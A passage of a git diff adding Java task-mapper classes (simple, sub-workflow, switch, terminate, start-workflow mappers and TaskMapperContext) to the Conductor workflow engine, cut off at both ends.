    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.List; +import java.util.Map; +import java.util.Optional; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +/** + * An implementation of {@link TaskMapper} to map a {@link WorkflowTask} of type {@link + * TaskType#SIMPLE} to a {@link TaskModel} with status {@link TaskModel.Status#SCHEDULED}. + * NOTE: There is not type defined for simples task. + */ +@Component +public class SimpleTaskMapper implements TaskMapper { + + public static final Logger LOGGER = LoggerFactory.getLogger(SimpleTaskMapper.class); + private final ParametersUtils parametersUtils; + + public SimpleTaskMapper(ParametersUtils parametersUtils) { + this.parametersUtils = parametersUtils; + } + + @Override + public String getTaskType() { + return TaskType.SIMPLE.name(); + } + + /** + * This method maps a {@link WorkflowTask} of type {@link TaskType#SIMPLE} to a {@link + * TaskModel} + * + * @param taskMapperContext: A wrapper class containing the {@link WorkflowTask}, {@link + * WorkflowDef}, {@link WorkflowModel} and a string representation of the TaskId + * @return a List with just one simple task + */ + @Override + public List getMappedTasks(TaskMapperContext taskMapperContext) { + + LOGGER.debug("TaskMapperContext {} in SimpleTaskMapper", taskMapperContext); + + WorkflowTask workflowTask = taskMapperContext.getWorkflowTask(); + WorkflowModel workflowModel = taskMapperContext.getWorkflowModel(); + int retryCount = taskMapperContext.getRetryCount(); + String retriedTaskId = taskMapperContext.getRetryTaskId(); + + TaskDef taskDefinition = + Optional.ofNullable(workflowTask.getTaskDefinition()) + .orElseGet( + () -> { + LOGGER.warn( + "Task {} does not have a definition, using defaults", + workflowTask.getName()); + return new TaskDef(); + }); + + Map input = + parametersUtils.getTaskInput( + workflowTask.getInputParameters(), + workflowModel, + taskDefinition, + taskMapperContext.getTaskId()); + TaskModel simpleTask = taskMapperContext.createTaskModel(); + simpleTask.setTaskType(workflowTask.getName()); + simpleTask.setStartDelayInSeconds(workflowTask.getStartDelay()); + simpleTask.setInputData(input); + simpleTask.setStatus(TaskModel.Status.SCHEDULED); + simpleTask.setRetryCount(retryCount); + simpleTask.setCallbackAfterSeconds(workflowTask.getStartDelay()); + simpleTask.setResponseTimeoutSeconds(taskDefinition.getResponseTimeoutSeconds()); + simpleTask.setRetriedTaskId(retriedTaskId); + simpleTask.setRateLimitPerFrequency(taskDefinition.getRateLimitPerFrequency()); + simpleTask.setRateLimitFrequencyInSeconds(taskDefinition.getRateLimitFrequencyInSeconds()); + return List.of(simpleTask); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/mapper/StartWorkflowTaskMapper.java b/core/src/main/java/com/netflix/conductor/core/execution/mapper/StartWorkflowTaskMapper.java new file mode 100644 index 0000000..5a37775 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/mapper/StartWorkflowTaskMapper.java @@ -0,0 +1,51 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.List; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.model.TaskModel; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.START_WORKFLOW; +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_START_WORKFLOW; + +@Component +public class StartWorkflowTaskMapper implements TaskMapper { + + private static final Logger LOGGER = LoggerFactory.getLogger(StartWorkflowTaskMapper.class); + + @Override + public String getTaskType() { + return START_WORKFLOW.name(); + } + + @Override + public List getMappedTasks(TaskMapperContext taskMapperContext) + throws TerminateWorkflowException { + WorkflowTask workflowTask = taskMapperContext.getWorkflowTask(); + + TaskModel startWorkflowTask = taskMapperContext.createTaskModel(); + startWorkflowTask.setTaskType(TASK_TYPE_START_WORKFLOW); + startWorkflowTask.addInput(taskMapperContext.getTaskInput()); + startWorkflowTask.setStatus(TaskModel.Status.SCHEDULED); + startWorkflowTask.setCallbackAfterSeconds(workflowTask.getStartDelay()); + LOGGER.debug("{} created", startWorkflowTask); + return List.of(startWorkflowTask); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/mapper/SubWorkflowTaskMapper.java b/core/src/main/java/com/netflix/conductor/core/execution/mapper/SubWorkflowTaskMapper.java new file mode 100644 index 0000000..34a59df --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/mapper/SubWorkflowTaskMapper.java @@ -0,0 +1,182 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.*; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.annotations.VisibleForTesting; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.SubWorkflowParams; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_SUB_WORKFLOW; + +@Component +public class SubWorkflowTaskMapper implements TaskMapper { + + private static final Logger LOGGER = LoggerFactory.getLogger(SubWorkflowTaskMapper.class); + + private final ParametersUtils parametersUtils; + private final MetadataDAO metadataDAO; + + public SubWorkflowTaskMapper(ParametersUtils parametersUtils, MetadataDAO metadataDAO) { + this.parametersUtils = parametersUtils; + this.metadataDAO = metadataDAO; + } + + @Override + public String getTaskType() { + return TaskType.SUB_WORKFLOW.name(); + } + + @SuppressWarnings("rawtypes") + @Override + public List getMappedTasks(TaskMapperContext taskMapperContext) { + LOGGER.debug("TaskMapperContext {} in SubWorkflowTaskMapper", taskMapperContext); + WorkflowTask workflowTask = taskMapperContext.getWorkflowTask(); + WorkflowModel workflowModel = taskMapperContext.getWorkflowModel(); + String taskId = taskMapperContext.getTaskId(); + // Check if there are sub workflow parameters, if not throw an exception, cannot initiate a + // sub-workflow without workflow params + SubWorkflowParams subWorkflowParams = getSubWorkflowParams(workflowTask); + + Map resolvedParams = + getSubWorkflowInputParameters(workflowModel, subWorkflowParams); + + String subWorkflowName = resolvedParams.get("name").toString(); + Object subWorkflowDefinition = resolvedParams.get("workflowDefinition"); + + // Only resolve the sub-workflow version when no inline definition is provided. + // When an inline definition is present, SubWorkflow.start() uses it directly and + // the version is irrelevant, so skip the potentially-failing MetadataDAO lookup. + Integer subWorkflowVersion = null; + if (subWorkflowDefinition == null) { + subWorkflowVersion = getSubWorkflowVersion(resolvedParams, subWorkflowName); + } + + Map subWorkflowTaskToDomain = null; + Object uncheckedTaskToDomain = resolvedParams.get("taskToDomain"); + if (uncheckedTaskToDomain instanceof Map) { + subWorkflowTaskToDomain = (Map) uncheckedTaskToDomain; + } + + TaskModel subWorkflowTask = taskMapperContext.createTaskModel(); + subWorkflowTask.setTaskType(TASK_TYPE_SUB_WORKFLOW); + subWorkflowTask.addInput("subWorkflowName", subWorkflowName); + subWorkflowTask.addInput("priority", resolvedParams.get("priority")); + subWorkflowTask.addInput("subWorkflowVersion", subWorkflowVersion); + subWorkflowTask.addInput("subWorkflowTaskToDomain", subWorkflowTaskToDomain); + subWorkflowTask.addInput("subWorkflowDefinition", subWorkflowDefinition); + subWorkflowTask.addInput("idempotencyKey", resolvedParams.get("idempotencyKey")); + subWorkflowTask.addInput("idempotencyStrategy", resolvedParams.get("idempotencyStrategy")); + subWorkflowTask.addInput("workflowInput", taskMapperContext.getTaskInput()); + subWorkflowTask.setStatus(TaskModel.Status.SCHEDULED); + subWorkflowTask.setCallbackAfterSeconds(workflowTask.getStartDelay()); + if (subWorkflowParams.getPriority() instanceof Number) { + subWorkflowTask.setWorkflowPriority( + ((Number) subWorkflowParams.getPriority()).intValue()); + } + LOGGER.debug("SubWorkflowTask {} created to be Scheduled", subWorkflowTask); + return List.of(subWorkflowTask); + } + + @VisibleForTesting + SubWorkflowParams getSubWorkflowParams(WorkflowTask workflowTask) { + return Optional.ofNullable(workflowTask.getSubWorkflowParam()) + .orElseThrow( + () -> { + String reason = + String.format( + "Task %s is defined as sub-workflow and is missing subWorkflowParams. " + + "Please check the workflow definition", + workflowTask.getName()); + LOGGER.error(reason); + return new TerminateWorkflowException(reason); + }); + } + + private Map getSubWorkflowInputParameters( + WorkflowModel workflowModel, SubWorkflowParams subWorkflowParams) { + Map params = new HashMap<>(); + params.put("name", subWorkflowParams.getName()); + params.put("priority", subWorkflowParams.getPriority()); + + Integer version = subWorkflowParams.getVersion(); + if (version != null) { + params.put("version", version); + } + Map taskToDomain = subWorkflowParams.getTaskToDomain(); + if (taskToDomain != null) { + params.put("taskToDomain", taskToDomain); + } + if (subWorkflowParams.getIdempotencyKey() != null) { + params.put("idempotencyKey", subWorkflowParams.getIdempotencyKey()); + } + if (subWorkflowParams.getIdempotencyStrategy() != null) { + params.put("idempotencyStrategy", subWorkflowParams.getIdempotencyStrategy()); + } + + Object subWorkflowDefinition = subWorkflowParams.getWorkflowDefinition(); + if (subWorkflowDefinition instanceof String) { + // String value may be a ${ref.output.field} expression referencing a runtime task + // output. Include it in params before calling getTaskInputV2 so that the expression + // is resolved to its concrete value (e.g. an inline WorkflowDef Map) and ends up + // as subWorkflowDefinition in the task's inputData where SubWorkflow.start() reads it. + params.put("workflowDefinition", subWorkflowDefinition); + params = parametersUtils.getTaskInputV2(params, workflowModel, null, null); + } else { + params = parametersUtils.getTaskInputV2(params, workflowModel, null, null); + // Concrete object (WorkflowDef, Map, etc.): add after resolution so that its + // internal fields are not mistakenly treated as expressions. + if (subWorkflowDefinition != null) { + params.put("workflowDefinition", subWorkflowDefinition); + } + } + + return params; + } + + private Integer getSubWorkflowVersion( + Map resolvedParams, String subWorkflowName) { + return Optional.ofNullable(resolvedParams.get("version")) + .map( + v -> + v instanceof Number + ? ((Number) v).intValue() + : Integer.parseInt(v.toString())) + .orElseGet( + () -> + metadataDAO + .getLatestWorkflowDef(subWorkflowName) + .map(WorkflowDef::getVersion) + .orElseThrow( + () -> { + String reason = + String.format( + "The Task %s defined as a sub-workflow has no workflow definition available ", + subWorkflowName); + LOGGER.error(reason); + return new TerminateWorkflowException(reason); + })); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/mapper/SwitchTaskMapper.java b/core/src/main/java/com/netflix/conductor/core/execution/mapper/SwitchTaskMapper.java new file mode 100644 index 0000000..34551f6 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/mapper/SwitchTaskMapper.java @@ -0,0 +1,143 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.LinkedList; +import java.util.List; +import java.util.Map; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.core.execution.evaluators.Evaluator; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +/** + * An implementation of {@link TaskMapper} to map a {@link WorkflowTask} of type {@link + * TaskType#SWITCH} to a List {@link TaskModel} starting with Task of type {@link TaskType#SWITCH} + * which is marked as IN_PROGRESS, followed by the list of {@link TaskModel} based on the case + * expression evaluation in the Switch task. + */ +@Component +public class SwitchTaskMapper implements TaskMapper { + + private static final Logger LOGGER = LoggerFactory.getLogger(SwitchTaskMapper.class); + + private final Map evaluators; + + public SwitchTaskMapper(Map evaluators) { + this.evaluators = evaluators; + } + + @Override + public String getTaskType() { + return TaskType.SWITCH.name(); + } + + /** + * This method gets the list of tasks that need to scheduled when the task to scheduled is of + * type {@link TaskType#SWITCH}. + * + * @param taskMapperContext: A wrapper class containing the {@link WorkflowTask}, {@link + * WorkflowDef}, {@link WorkflowModel} and a string representation of the TaskId + * @return List of tasks in the following order: + *

      + *
    • {@link TaskType#SWITCH} with {@link TaskModel.Status#IN_PROGRESS} + *
    • List of tasks based on the evaluation of {@link WorkflowTask#getEvaluatorType()} + * and {@link WorkflowTask#getExpression()} are scheduled. + *
    • In the case of no matching {@link WorkflowTask#getEvaluatorType()}, workflow will + * be terminated with error message. In case of no matching result after the + * evaluation of the {@link WorkflowTask#getExpression()}, the {@link + * WorkflowTask#getDefaultCase()} Tasks are scheduled. + *
    + */ + @Override + public List getMappedTasks(TaskMapperContext taskMapperContext) { + LOGGER.debug("TaskMapperContext {} in SwitchTaskMapper", taskMapperContext); + List tasksToBeScheduled = new LinkedList<>(); + WorkflowTask workflowTask = taskMapperContext.getWorkflowTask(); + WorkflowModel workflowModel = taskMapperContext.getWorkflowModel(); + Map taskInput = taskMapperContext.getTaskInput(); + int retryCount = taskMapperContext.getRetryCount(); + + // get the expression to be evaluated + String evaluatorType = workflowTask.getEvaluatorType(); + Evaluator evaluator = evaluators.get(evaluatorType); + if (evaluator == null) { + String errorMsg = String.format("No evaluator registered for type: %s", evaluatorType); + LOGGER.error(errorMsg); + throw new TerminateWorkflowException(errorMsg); + } + + String evalResult = ""; + try { + evalResult = "" + evaluator.evaluate(workflowTask.getExpression(), taskInput); + } catch (Exception exception) { + TaskModel switchTask = taskMapperContext.createTaskModel(); + switchTask.setTaskType(TaskType.TASK_TYPE_SWITCH); + switchTask.setTaskDefName(TaskType.TASK_TYPE_SWITCH); + switchTask.getInputData().putAll(taskInput); + switchTask.setStartTime(System.currentTimeMillis()); + switchTask.setStatus(TaskModel.Status.FAILED); + switchTask.setReasonForIncompletion(exception.getMessage()); + tasksToBeScheduled.add(switchTask); + + return tasksToBeScheduled; + } + + // QQ why is the case value and the caseValue passed and caseOutput passes as the same ?? + TaskModel switchTask = taskMapperContext.createTaskModel(); + switchTask.setTaskType(TaskType.TASK_TYPE_SWITCH); + switchTask.setTaskDefName(TaskType.TASK_TYPE_SWITCH); + switchTask.getInputData().putAll(taskInput); + switchTask.getInputData().put("case", evalResult); + switchTask.addOutput("evaluationResult", List.of(evalResult)); + switchTask.addOutput("selectedCase", evalResult); + switchTask.setStartTime(System.currentTimeMillis()); + switchTask.setStatus(TaskModel.Status.IN_PROGRESS); + tasksToBeScheduled.add(switchTask); + + // get the list of tasks based on the evaluated expression + List selectedTasks = workflowTask.getDecisionCases().get(evalResult); + // fall back to defaultCase only when no case key matched (null); an explicitly empty case + // list means the branch intentionally has no tasks and should not execute the default + if (selectedTasks == null) { + selectedTasks = workflowTask.getDefaultCase(); + } + // once there are selected tasks that need to proceeded as part of the switch, get the next + // task to be scheduled by using the decider service + if (selectedTasks != null && !selectedTasks.isEmpty()) { + WorkflowTask selectedTask = + selectedTasks.get(0); // Schedule the first task to be executed... + // TODO break out this recursive call using function composition of what needs to be + // done and then walk back the condition tree + List caseTasks = + taskMapperContext + .getDeciderService() + .getTasksToBeScheduled( + workflowModel, + selectedTask, + retryCount, + taskMapperContext.getRetryTaskId()); + tasksToBeScheduled.addAll(caseTasks); + switchTask.getInputData().put("hasChildren", "true"); + } + return tasksToBeScheduled; + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/mapper/TaskMapper.java b/core/src/main/java/com/netflix/conductor/core/execution/mapper/TaskMapper.java new file mode 100644 index 0000000..9f7d83e --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/mapper/TaskMapper.java @@ -0,0 +1,26 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.List; + +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.model.TaskModel; + +public interface TaskMapper { + + String getTaskType(); + + List getMappedTasks(TaskMapperContext taskMapperContext) + throws TerminateWorkflowException; +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/mapper/TaskMapperContext.java b/core/src/main/java/com/netflix/conductor/core/execution/mapper/TaskMapperContext.java new file mode 100644 index 0000000..7172728 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/mapper/TaskMapperContext.java @@ -0,0 +1,316 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.Map; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.execution.DeciderService; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +/** Business Object class used for interaction between the DeciderService and Different Mappers */ +public class TaskMapperContext { + + private final WorkflowModel workflowModel; + private final TaskDef taskDefinition; + private final WorkflowTask workflowTask; + private final Map taskInput; + private final int retryCount; + private final String retryTaskId; + private final String taskId; + private final String parentTaskReferenceName; + private final DeciderService deciderService; + + private TaskMapperContext(Builder builder) { + workflowModel = builder.workflowModel; + taskDefinition = builder.taskDefinition; + workflowTask = builder.workflowTask; + taskInput = builder.taskInput; + retryCount = builder.retryCount; + retryTaskId = builder.retryTaskId; + taskId = builder.taskId; + parentTaskReferenceName = builder.parentTaskReferenceName; + deciderService = builder.deciderService; + } + + public static Builder newBuilder() { + return new Builder(); + } + + public static Builder newBuilder(TaskMapperContext copy) { + Builder builder = new Builder(); + builder.workflowModel = copy.getWorkflowModel(); + builder.taskDefinition = copy.getTaskDefinition(); + builder.workflowTask = copy.getWorkflowTask(); + builder.taskInput = copy.getTaskInput(); + builder.retryCount = copy.getRetryCount(); + builder.retryTaskId = copy.getRetryTaskId(); + builder.taskId = copy.getTaskId(); + builder.deciderService = copy.getDeciderService(); + return builder; + } + + public WorkflowDef getWorkflowDefinition() { + return workflowModel.getWorkflowDefinition(); + } + + public WorkflowModel getWorkflowModel() { + return workflowModel; + } + + public TaskDef getTaskDefinition() { + return taskDefinition; + } + + public WorkflowTask getWorkflowTask() { + return workflowTask; + } + + public int getRetryCount() { + return retryCount; + } + + public String getRetryTaskId() { + return retryTaskId; + } + + public String getTaskId() { + return taskId; + } + + public Map getTaskInput() { + return taskInput; + } + + public DeciderService getDeciderService() { + return deciderService; + } + + public TaskModel createTaskModel() { + TaskModel taskModel = new TaskModel(); + taskModel.setReferenceTaskName(workflowTask.getTaskReferenceName()); + taskModel.setOnStateChange(workflowTask.getOnStateChange()); + taskModel.setWorkflowInstanceId(workflowModel.getWorkflowId()); + taskModel.setWorkflowType(workflowModel.getWorkflowName()); + taskModel.setCorrelationId(workflowModel.getCorrelationId()); + taskModel.setScheduledTime(System.currentTimeMillis()); + + taskModel.setTaskId(taskId); + taskModel.setWorkflowTask(workflowTask); + taskModel.setWorkflowPriority(workflowModel.getPriority()); + taskModel.setParentTaskReferenceName(parentTaskReferenceName); + + // the following properties are overridden by some TaskMapper implementations + taskModel.setTaskType(workflowTask.getType()); + taskModel.setTaskDefName(workflowTask.getName()); + return taskModel; + } + + @Override + public String toString() { + return "TaskMapperContext{" + + "workflowDefinition=" + + getWorkflowDefinition() + + ", workflowModel=" + + workflowModel + + ", workflowTask=" + + workflowTask + + ", taskInput=" + + taskInput + + ", retryCount=" + + retryCount + + ", retryTaskId='" + + retryTaskId + + '\'' + + ", taskId='" + + taskId + + '\'' + + '}'; + } + + @Override + public boolean equals(Object o) { + if (this == o) { + return true; + } + if (!(o instanceof TaskMapperContext)) { + return false; + } + + TaskMapperContext that = (TaskMapperContext) o; + + if (getRetryCount() != that.getRetryCount()) { + return false; + } + if (!getWorkflowDefinition().equals(that.getWorkflowDefinition())) { + return false; + } + if (!getWorkflowModel().equals(that.getWorkflowModel())) { + return false; + } + if (!getWorkflowTask().equals(that.getWorkflowTask())) { + return false; + } + if (!getTaskInput().equals(that.getTaskInput())) { + return false; + } + if (getRetryTaskId() != null + ? !getRetryTaskId().equals(that.getRetryTaskId()) + : that.getRetryTaskId() != null) { + return false; + } + return getTaskId().equals(that.getTaskId()); + } + + @Override + public int hashCode() { + int result = getWorkflowDefinition().hashCode(); + result = 31 * result + getWorkflowModel().hashCode(); + result = 31 * result + getWorkflowTask().hashCode(); + result = 31 * result + getTaskInput().hashCode(); + result = 31 * result + getRetryCount(); + result = 31 * result + (getRetryTaskId() != null ? getRetryTaskId().hashCode() : 0); + result = 31 * result + getTaskId().hashCode(); + return result; + } + + /** {@code TaskMapperContext} builder static inner class. */ + public static final class Builder { + + private WorkflowModel workflowModel; + private TaskDef taskDefinition; + private WorkflowTask workflowTask; + private Map taskInput; + private int retryCount; + private String retryTaskId; + private String taskId; + private String parentTaskReferenceName; + private DeciderService deciderService; + + private Builder() {} + + /** + * Sets the {@code workflowModel} and returns a reference to this Builder so that the + * methods can be chained together. + * + * @param val the {@code workflowModel} to set + * @return a reference to this Builder + */ + public Builder withWorkflowModel(WorkflowModel val) { + workflowModel = val; + return this; + } + + /** + * Sets the {@code taskDefinition} and returns a reference to this Builder so that the + * methods can be chained together. + * + * @param val the {@code taskDefinition} to set + * @return a reference to this Builder + */ + public Builder withTaskDefinition(TaskDef val) { + taskDefinition = val; + return this; + } + + /** + * Sets the {@code workflowTask} and returns a reference to this Builder so that the methods + * can be chained together. + * + * @param val the {@code workflowTask} to set + * @return a reference to this Builder + */ + public Builder withWorkflowTask(WorkflowTask val) { + workflowTask = val; + return this; + } + + /** + * Sets the {@code taskInput} and returns a reference to this Builder so that the methods + * can be chained together. + * + * @param val the {@code taskInput} to set + * @return a reference to this Builder + */ + public Builder withTaskInput(Map val) { + taskInput = val; + return this; + } + + /** + * Sets the {@code retryCount} and returns a reference to this Builder so that the methods + * can be chained together. + * + * @param val the {@code retryCount} to set + * @return a reference to this Builder + */ + public Builder withRetryCount(int val) { + retryCount = val; + return this; + } + + /** + * Sets the {@code retryTaskId} and returns a reference to this Builder so that the methods + * can be chained together. + * + * @param val the {@code retryTaskId} to set + * @return a reference to this Builder + */ + public Builder withRetryTaskId(String val) { + retryTaskId = val; + return this; + } + + /** + * Sets the {@code taskId} and returns a reference to this Builder so that the methods can + * be chained together. + * + * @param val the {@code taskId} to set + * @return a reference to this Builder + */ + public Builder withTaskId(String val) { + taskId = val; + return this; + } + + public Builder withParentTaskReferenceName(String val) { + parentTaskReferenceName = val; + return this; + } + + /** + * Sets the {@code deciderService} and returns a reference to this Builder so that the + * methods can be chained together. + * + * @param val the {@code deciderService} to set + * @return a reference to this Builder + */ + public Builder withDeciderService(DeciderService val) { + deciderService = val; + return this; + } + + /** + * Returns a {@code TaskMapperContext} built from the parameters previously set. + * + * @return a {@code TaskMapperContext} built with parameters of this {@code + * TaskMapperContext.Builder} + */ + public TaskMapperContext build() { + return new TaskMapperContext(this); + } + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/mapper/TerminateTaskMapper.java b/core/src/main/java/com/netflix/conductor/core/execution/mapper/TerminateTaskMapper.java new file mode 100644 index 0000000..886f204 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/mapper/TerminateTaskMapper.java @@ -0,0 +1,66 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.List; +import java.util.Map; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_TERMINATE; + +@Component +public class TerminateTaskMapper implements TaskMapper { + + public static final Logger logger = LoggerFactory.getLogger(TerminateTaskMapper.class); + private final ParametersUtils parametersUtils; + + public TerminateTaskMapper(ParametersUtils parametersUtils) { + this.parametersUtils = parametersUtils; + } + + @Override + public String getTaskType() { + return TaskType.TERMINATE.name(); + } + + @Override + public List getMappedTasks(TaskMapperContext taskMapperContext) { + + logger.debug("TaskMapperContext {} in TerminateTaskMapper", taskMapperContext); + + WorkflowModel workflowModel = taskMapperContext.getWorkflowModel(); + String taskId = taskMapperContext.getTaskId(); + + Map taskInput = + parametersUtils.getTaskInputV2( + taskMapperContext.getWorkflowTask().getInputParameters(), + workflowModel, + taskId, + null); + + TaskModel task = taskMapperContext.createTaskModel(); + task.setTaskType(TASK_TYPE_TERMINATE); + task.setStartTime(System.currentTimeMillis()); + task.setInputData(taskInput); + task.setStatus(TaskModel.Status.IN_PROGRESS); + return List.of(task); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/mapper/UserDefinedTaskMapper.java b/core/src/main/java/com/netflix/conductor/core/execution/mapper/UserDefinedTaskMapper.java new file mode 100644 index 0000000..ba8f314 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/mapper/UserDefinedTaskMapper.java @@ -0,0 +1,108 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.List; +import java.util.Map; +import java.util.Optional; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +/** + * An implementation of {@link TaskMapper} to map a {@link WorkflowTask} of type {@link + * TaskType#USER_DEFINED} to a {@link TaskModel} of type {@link TaskType#USER_DEFINED} with {@link + * TaskModel.Status#SCHEDULED} + */ +@Component +public class UserDefinedTaskMapper implements TaskMapper { + + public static final Logger LOGGER = LoggerFactory.getLogger(UserDefinedTaskMapper.class); + + private final ParametersUtils parametersUtils; + private final MetadataDAO metadataDAO; + + public UserDefinedTaskMapper(ParametersUtils parametersUtils, MetadataDAO metadataDAO) { + this.parametersUtils = parametersUtils; + this.metadataDAO = metadataDAO; + } + + @Override + public String getTaskType() { + return TaskType.USER_DEFINED.name(); + } + + /** + * This method maps a {@link WorkflowTask} of type {@link TaskType#USER_DEFINED} to a {@link + * 